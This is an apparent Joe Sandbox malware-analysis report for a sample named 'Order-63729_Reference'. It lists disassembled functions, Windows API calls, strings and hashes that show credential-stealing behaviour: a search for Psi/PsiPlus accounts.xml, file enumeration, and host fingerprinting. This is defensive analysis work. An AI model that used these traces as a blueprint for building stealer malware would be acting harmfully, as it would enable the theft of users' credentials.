Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$Attributes$Create$CloseFindFirstHandleRead
String ID: Psi$PsiPlus$\*.*$\accounts.xml
API String ID: 23041140-482826270
Opcode ID: 36b7fbc2ad4b5a52093858c5298dfe45baa6c9039082370d7cc84314da3b85e1
Instruction ID: 115fcd51e622de82cac4d0b8ead8c2dc7a32b2b6ab385f81ee772f80c7f6c347
Opcode Fuzzy Hash: 36b7fbc2ad4b5a52093858c5298dfe45baa6c9039082370d7cc84314da3b85e1
Instruction Fuzzy Hash: 91711D74A001199FDB10EB95CC85B9DB7B9EF45308F5081FAE808B7291DB38AF498F55

Function 0041158C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,0041237E,00000000,00000000,00000000), ref: 004115FB
FindNextFileW.KERNEL32(?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000), ref: 00411768
FindClose.KERNEL32(?,?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000), ref: 00411779

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

.txt, xrefs: 00411717
\*.*, xrefs: 004115E2

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*
API String ID: 2008072091-2615687548
Opcode ID: beae046a71893cbd48db4b672bc92076768ae0af3df0d07e6abad3d13a581d43
Instruction ID: cb1fa36ef6bd00d28df09069f3f2ad3b15c2d413a197645ac6dab8893c9dac73
Opcode Fuzzy Hash: beae046a71893cbd48db4b672bc92076768ae0af3df0d07e6abad3d13a581d43
Instruction Fuzzy Hash: 1D514C7490411DABDF10EB61CC45BDDB779EF45304F2085FAA608B22A2DA389F858F18

Function 00411590 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 142fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,0041237E,00000000,00000000,00000000), ref: 004115FB
FindNextFileW.KERNEL32(?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000), ref: 00411768
FindClose.KERNEL32(?,?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000), ref: 00411779

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

.txt, xrefs: 00411717
\*.*, xrefs: 004115E2

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*
API String ID: 2008072091-2615687548
Opcode ID: 0adef05021f558dd5121164a20d330489644710944ba76b51e1becdc22aea555
Instruction ID: 05cc79d86d1b55c995a7b8d44de261c7f11cdb27113bd27bc9f6ce20252d4423
Opcode Fuzzy Hash: 0adef05021f558dd5121164a20d330489644710944ba76b51e1becdc22aea555
Instruction Fuzzy Hash: C3514C7490411DABDF50EB61CC45BCDB779EF44304F6085FAA608B32A2DA399F858F58

Function 00408D3C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 339fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A69E), ref: 00408DD0
GetFileAttributesW.KERNEL32(00000000,?,00409204,?,0041A69E,?,?,?,?,?,?,0041A69E), ref: 00408E32
FindNextFileW.KERNELBASE(?,?,?,?,?,?,?,?,0041A69E), ref: 004090F8

Strings

\*.*, xrefs: 00408DB0

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesFirstNext
String ID: \*.*
API String ID: 2194085478-1173974218
Opcode ID: 7c2d9d634b4927bbe86dd2d784de5aeeaa99b4bb87293a077af95bce882314e1
Instruction ID: 0d373cd88fde81d46e67ec363a4cd78273a777710110dde0edb0dabeac45b8c6
Opcode Fuzzy Hash: 7c2d9d634b4927bbe86dd2d784de5aeeaa99b4bb87293a077af95bce882314e1
Instruction Fuzzy Hash: 4AD12970A00209AFDB10EF95D885ADEB7F9EF49304F1041BAE504F72A1DB39AE45CB59

Function 00408D44 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 337fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0041A69E), ref: 00408DD0
GetFileAttributesW.KERNEL32(00000000,?,00409204,?,0041A69E,?,?,?,?,?,?,0041A69E), ref: 00408E32
FindNextFileW.KERNELBASE(?,?,?,?,?,?,?,?,0041A69E), ref: 004090F8

Strings

\*.*, xrefs: 00408DB0

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesFirstNext
String ID: \*.*
API String ID: 2194085478-1173974218
Opcode ID: 1b67583be09de6412031d5871d699c3e612fc2c0ab19a09dba079c97bcff8a3f
Instruction ID: bd495df848275e9c4f425f21efe3e4f71b0b4aa0b50b6ea973a153adf56fcae6
Opcode Fuzzy Hash: 1b67583be09de6412031d5871d699c3e612fc2c0ab19a09dba079c97bcff8a3f
Instruction Fuzzy Hash: 18D12970A00209AFDB10EF95C885ADEB7F9EF49304F1041BAE504F72A1DB39AE45CB59

Function 0040F198 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040F3FD,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,00410714,00000000,00000000,00000000), ref: 0040F20A
FindNextFileW.KERNEL32(?,?,?,0040F424,?,0040F424,0041A69E,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,00410714), ref: 0040F385

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

.txt, xrefs: 0040F32D
\*.*, xrefs: 0040F1EA

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFind$FirstFreeNextString
String ID: .txt$\*.*
API String ID: 3014163821-2615687548
Opcode ID: db20c6d12dad17181c8b0825f1511d16f5bf256f86580b24294b14749970827c
Instruction ID: 4da90273f3ded21c78c9cb0a5ab963e2430d2fed60a6055d82843837c1e22c29
Opcode Fuzzy Hash: db20c6d12dad17181c8b0825f1511d16f5bf256f86580b24294b14749970827c
Instruction Fuzzy Hash: 6B512F34900119AFDF60EB61CC45B8DB7B9EF44304F6081F6A508B36A2DB399F498F58

Function 0040D06E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 0040D1C8

Strings

Psi, xrefs: 0040D16F
PsiPlus, xrefs: 0040D15F
\*.*, xrefs: 0040D1AB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: Psi$PsiPlus$\*.*
API String ID: 1974802433-2194304473
Opcode ID: 703d8b5242a08a8db683f3bae43f8bcf3c26f45f187b9fc55ceefde9b9784aa7
Instruction ID: 8d20dbab4f76fd7704b8bbb6049f9e1dbc895236e47937b98e464379e76ce1b4
Opcode Fuzzy Hash: 703d8b5242a08a8db683f3bae43f8bcf3c26f45f187b9fc55ceefde9b9784aa7
Instruction Fuzzy Hash: CC5181709041499FDB11EBA5CC41B9DBBB9EF45308F5041FBE808F7292DB38AE4A8B55

Function 0040989F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

FindFirstFileW.KERNEL32(00000000,?,00000000,00409A7E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000), ref: 0040993E

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

FindNextFileW.KERNEL32(00000000,?,?,00409AA0,?,00409AA0,0041A69E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E), ref: 00409A3F
FindClose.KERNEL32(00000000,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000,?,0040D819,00000000,0040D863), ref: 00409A51

Part of subcall function 004095A4: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00409890,?,.tmp,?,?,?,00000000,00000000,00000000,?,?,00409A1F), ref: 00409676

Strings

\*.*, xrefs: 0040991E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$Find$String$AllocAttributesCloseCopyFirstFreeNext
String ID: \*.*
API String ID: 388414203-1173974218
Opcode ID: 866bd5c48ca22fdc6d90582cfe2e4138804fdcda633a5df8ecf828f68084771e
Instruction ID: 4b84d3bad575dbbbbc4ce0dccbd8eec4ecec2959b06ba8f769e72cfc9add7c19
Opcode Fuzzy Hash: 866bd5c48ca22fdc6d90582cfe2e4138804fdcda633a5df8ecf828f68084771e
Instruction Fuzzy Hash: F7411E70A04259AFCB10EF65CC85A8DBBB9FF49304F5041FAA508B3292D7795F458F54

Function 004098A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

FindFirstFileW.KERNEL32(00000000,?,00000000,00409A7E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000), ref: 0040993E

Part of subcall function 004076B0: GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

FindNextFileW.KERNEL32(00000000,?,?,00409AA0,?,00409AA0,0041A69E,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E), ref: 00409A3F
FindClose.KERNEL32(00000000,?,00000000,0041B0FC,00000000,?,00409B10,00000000,0040A39E,?,00000000,00000000,?,0040D819,00000000,0040D863), ref: 00409A51

Part of subcall function 004095A4: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00409890,?,.tmp,?,?,?,00000000,00000000,00000000,?,?,00409A1F), ref: 00409676

Strings

\*.*, xrefs: 0040991E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$Find$String$AllocAttributesCloseCopyFirstFreeNext
String ID: \*.*
API String ID: 388414203-1173974218
Opcode ID: 41c099538e3ac48483ffcb017934188cbddc6af2ac47b7075e8f1d1130eed28a
Instruction ID: 08d55710f553101df7130532bbf42046b2496fa9cfe4254e8507854638314a45
Opcode Fuzzy Hash: 41c099538e3ac48483ffcb017934188cbddc6af2ac47b7075e8f1d1130eed28a
Instruction Fuzzy Hash: 10410070A04219AFDB10EF65CC85A8EBBB9FF49304F5041FAA508B3292D7799F458F58

Function 00417098 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UTC+, xrefs: 00417105

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: 6be58dea3c23a17224194cf5b30d3e4445856ad682ea28c4caa18300847e192c
Instruction ID: 5a93f027c48b31af31c8153c62edde409b9a7000c026b3128d58eaab427eec80
Opcode Fuzzy Hash: 6be58dea3c23a17224194cf5b30d3e4445856ad682ea28c4caa18300847e192c
Instruction Fuzzy Hash: A1113D747047145FD755DB1ACC41B96B6FAEB8D300F1181BAB90CE3391DB389E448A59

Function 00416FB8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: dcc4219dc7e13377bd319a26e064fbabf75e9c6a3bab1ee70f7a42fa93842446
Instruction ID: ed97a03f88aff6160dae607c36df162438e6b287a6cdd3858f72ec1f850147c0
Opcode Fuzzy Hash: dcc4219dc7e13377bd319a26e064fbabf75e9c6a3bab1ee70f7a42fa93842446
Instruction Fuzzy Hash: 1911B1315002189FDB11DB55CC41BDABBF9EB8D710F0040B6E908E7290E6349E80CFA4

Function 004065CC Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,00406CB6,00000000,00406D93,?,?,00000006,00000000,00000000,?,00419172,?), ref: 004065E9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 58214342b4f3c8a20619e49f8e08e79c98509e7b8ce26f5489de1e6ad425744d
Instruction ID: 82fb6e080fc5b909ee9ff94d6b2e2f71dc3c30d6621c9439b15b03eb027989ab
Opcode Fuzzy Hash: 58214342b4f3c8a20619e49f8e08e79c98509e7b8ce26f5489de1e6ad425744d
Instruction Fuzzy Hash: 10E086712042025BD310EB58DC81A9A76D89B84315F00483EBC45D73D2EE3DDE589756

Function 0040A4A4 Relevance: 1.5, APIs: 1, Instructions: 16comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0041B0DC,00000000,00000005,0040A4CC,00000000,?,00000000,0040A52D,0041A69E), ref: 0040A4BC

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 7b7d34e0f70cbabb5746a0b5785e83bae371d3c5d3f6c4cc1dc965a66d09d6f2
Instruction ID: ecfa08d63a5e99a02bf1f10941cb6c6ba3816feefb3116676bc77a3be9f2b9a2
Opcode Fuzzy Hash: 7b7d34e0f70cbabb5746a0b5785e83bae371d3c5d3f6c4cc1dc965a66d09d6f2
Instruction Fuzzy Hash: E5C002953917243AE551B2AA2CCAF5B418C4B88B59F214177B618F61D2A5E85C2001AE

Function 0040561C Relevance: 220.8, APIs: 63, Strings: 63, Instructions: 312
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00419155), ref: 0040562D
GetProcAddress.KERNEL32(00000000,ExpandEnvironmentStringsW), ref: 0040563C
GetProcAddress.KERNEL32(00000000,GetComputerNameW), ref: 0040564E
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatus), ref: 00405660
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00405672
GetProcAddress.KERNEL32(00000000,GetFileSize), ref: 00405684
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00405696
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 004056A8
GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 004056BA
GetProcAddress.KERNEL32(00000000,CreateMutexA), ref: 004056CC
GetProcAddress.KERNEL32(00000000,ReleaseMutex), ref: 004056DE
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 004056F0
GetProcAddress.KERNEL32(00000000,GetCurrentDirectoryW), ref: 00405702
GetProcAddress.KERNEL32(00000000,SetEnvironmentVariableW), ref: 00405714
GetProcAddress.KERNEL32(00000000,GetEnvironmentVariableW), ref: 00405726
GetProcAddress.KERNEL32(00000000,SetCurrentDirectoryW), ref: 00405738
GetProcAddress.KERNEL32(00000000,FindFirstFileW), ref: 0040574A
GetProcAddress.KERNEL32(00000000,FindNextFileW), ref: 0040575C
GetProcAddress.KERNEL32(00000000,LocalFree), ref: 0040576E
GetProcAddress.KERNEL32(00000000,GetTickCount), ref: 00405780
GetProcAddress.KERNEL32(00000000,CopyFileW), ref: 00405792
GetProcAddress.KERNEL32(00000000,FindClose), ref: 004057A4
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 004057B6
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 004057C8
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004057DA
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004057EC
GetProcAddress.KERNEL32(00000000,GetModuleFileNameW), ref: 004057FE
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00405810
GetProcAddress.KERNEL32(00000000,GetLocaleInfoA), ref: 00405822
GetProcAddress.KERNEL32(00000000,GetLocalTime), ref: 00405834
GetProcAddress.KERNEL32(00000000,GetTimeZoneInformation), ref: 00405846
GetProcAddress.KERNEL32(00000000,RemoveDirectoryW), ref: 00405858
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040586A
GetProcAddress.KERNEL32(00000000,GetLogicalDriveStringsA), ref: 0040587C
GetProcAddress.KERNEL32(00000000,GetDriveTypeA), ref: 0040588E
GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 004058A0
LoadLibraryA.KERNEL32(advapi32.dll,00000000,CreateProcessW,00000000,GetDriveTypeA,00000000,GetLogicalDriveStringsA,00000000,DeleteFileW,00000000,RemoveDirectoryW,00000000,GetTimeZoneInformation,00000000,GetLocalTime,00000000), ref: 004058AF
GetProcAddress.KERNEL32(00000000,GetUserNameW), ref: 004058BE
GetProcAddress.KERNEL32(00000000,RegCreateKeyExW), ref: 004058D0
GetProcAddress.KERNEL32(00000000,RegQueryValueExW), ref: 004058E2
GetProcAddress.KERNEL32(00000000,RegCloseKey), ref: 004058F4
GetProcAddress.KERNEL32(00000000,RegOpenKeyExW), ref: 00405906
GetProcAddress.KERNEL32(00000000,AllocateAndInitializeSid), ref: 00405918
GetProcAddress.KERNEL32(00000000,LookupAccountSidA), ref: 0040592A
GetProcAddress.KERNEL32(00000000,CreateProcessAsUserW), ref: 0040593C
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0040594E
GetProcAddress.KERNEL32(00000000,RegOpenKeyW), ref: 00405960
GetProcAddress.KERNEL32(00000000,RegEnumKeyW), ref: 00405972
GetProcAddress.KERNEL32(00000000,RegEnumValueW), ref: 00405984
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00405996
GetProcAddress.KERNEL32(00000000,CryptCreateHash), ref: 004059A8
GetProcAddress.KERNEL32(00000000,CryptHashData), ref: 004059BA
GetProcAddress.KERNEL32(00000000,CryptGetHashParam), ref: 004059CC
GetProcAddress.KERNEL32(00000000,CryptDestroyHash), ref: 004059DE
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 004059F0
LoadLibraryA.KERNEL32(user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData,00000000,CryptCreateHash,00000000,CryptAcquireContextA,00000000,RegEnumValueW,00000000), ref: 004059FF
GetProcAddress.KERNEL32(75A50000,EnumDisplayDevicesW), ref: 00405A14
GetProcAddress.KERNEL32(75A50000,wvsprintfA), ref: 00405A29
GetProcAddress.KERNEL32(75A50000,GetKeyboardLayoutList), ref: 00405A3E
LoadLibraryA.KERNEL32(shell32.dll,75A50000,GetKeyboardLayoutList,75A50000,wvsprintfA,75A50000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000,CryptGetHashParam,00000000,CryptHashData), ref: 00405A4D
GetProcAddress.KERNEL32(75320000,ShellExecuteExW), ref: 00405A62
LoadLibraryA.KERNEL32(ntdll.dll,75320000,ShellExecuteExW,shell32.dll,75A50000,GetKeyboardLayoutList,75A50000,wvsprintfA,75A50000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000,CryptDestroyHash,00000000), ref: 00405A71
GetProcAddress.KERNEL32(76E80000,RtlComputeCrc32), ref: 00405A86

Strings

GetModuleFileNameW, xrefs: 004057F6
RegEnumValueW, xrefs: 0040597C
ExpandEnvironmentStringsW, xrefs: 00405634
EnumDisplayDevicesW, xrefs: 00405A09
FindNextFileW, xrefs: 00405754
CryptDestroyHash, xrefs: 004059D6
LookupAccountSidA, xrefs: 00405922
RegOpenKeyExW, xrefs: 004058FE
GetFileSize, xrefs: 0040567C
CheckTokenMembership, xrefs: 00405946
GetLocaleInfoA, xrefs: 0040581A
CreateProcessAsUserW, xrefs: 00405934
RegEnumKeyW, xrefs: 0040596A
CryptAcquireContextA, xrefs: 0040598E
GetEnvironmentVariableW, xrefs: 0040571E
SetCurrentDirectoryW, xrefs: 00405730
GetLastError, xrefs: 004056E8
GetDriveTypeA, xrefs: 00405886
GetFileAttributesW, xrefs: 004056B2
GetKeyboardLayoutList, xrefs: 00405A33
user32.dll, xrefs: 004059FA
CryptGetHashParam, xrefs: 004059C4
DeleteFileW, xrefs: 00405862
shell32.dll, xrefs: 00405A48
GetComputerNameW, xrefs: 00405646
ReleaseMutex, xrefs: 004056D6
CreateFileW, xrefs: 0040566A
LocalFree, xrefs: 00405766
CopyFileW, xrefs: 0040578A
GetLocalTime, xrefs: 0040582C
SetEnvironmentVariableW, xrefs: 0040570C
RemoveDirectoryW, xrefs: 00405850
GlobalMemoryStatusEx, xrefs: 004057AE
FindFirstFileW, xrefs: 00405742
ShellExecuteExW, xrefs: 00405A57
CreateMutexA, xrefs: 004056C4
GetTickCount, xrefs: 00405778
RtlComputeCrc32, xrefs: 00405A7B
GlobalMemoryStatus, xrefs: 00405658
GetCurrentDirectoryW, xrefs: 004056FA
Process32FirstW, xrefs: 004057D2
RegOpenKeyW, xrefs: 00405958
SetDllDirectoryW, xrefs: 00405808
ntdll.dll, xrefs: 00405A6C
GetUserNameW, xrefs: 004058B6
FindClose, xrefs: 0040579C
CreateProcessW, xrefs: 00405898
CryptReleaseContext, xrefs: 004059E8
CryptHashData, xrefs: 004059B2
RegCloseKey, xrefs: 004058EC
advapi32.dll, xrefs: 004058AA
kernel32.dll, xrefs: 00405628
RegCreateKeyExW, xrefs: 004058C8
GetTimeZoneInformation, xrefs: 0040583E
RegQueryValueExW, xrefs: 004058DA
Process32NextW, xrefs: 004057E4
CryptCreateHash, xrefs: 004059A0
wvsprintfA, xrefs: 00405A1E
CloseHandle, xrefs: 0040568E
CreateToolhelp32Snapshot, xrefs: 004057C0
GetLogicalDriveStringsA, xrefs: 00405874
AllocateAndInitializeSid, xrefs: 00405910
ReadFile, xrefs: 004056A0

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

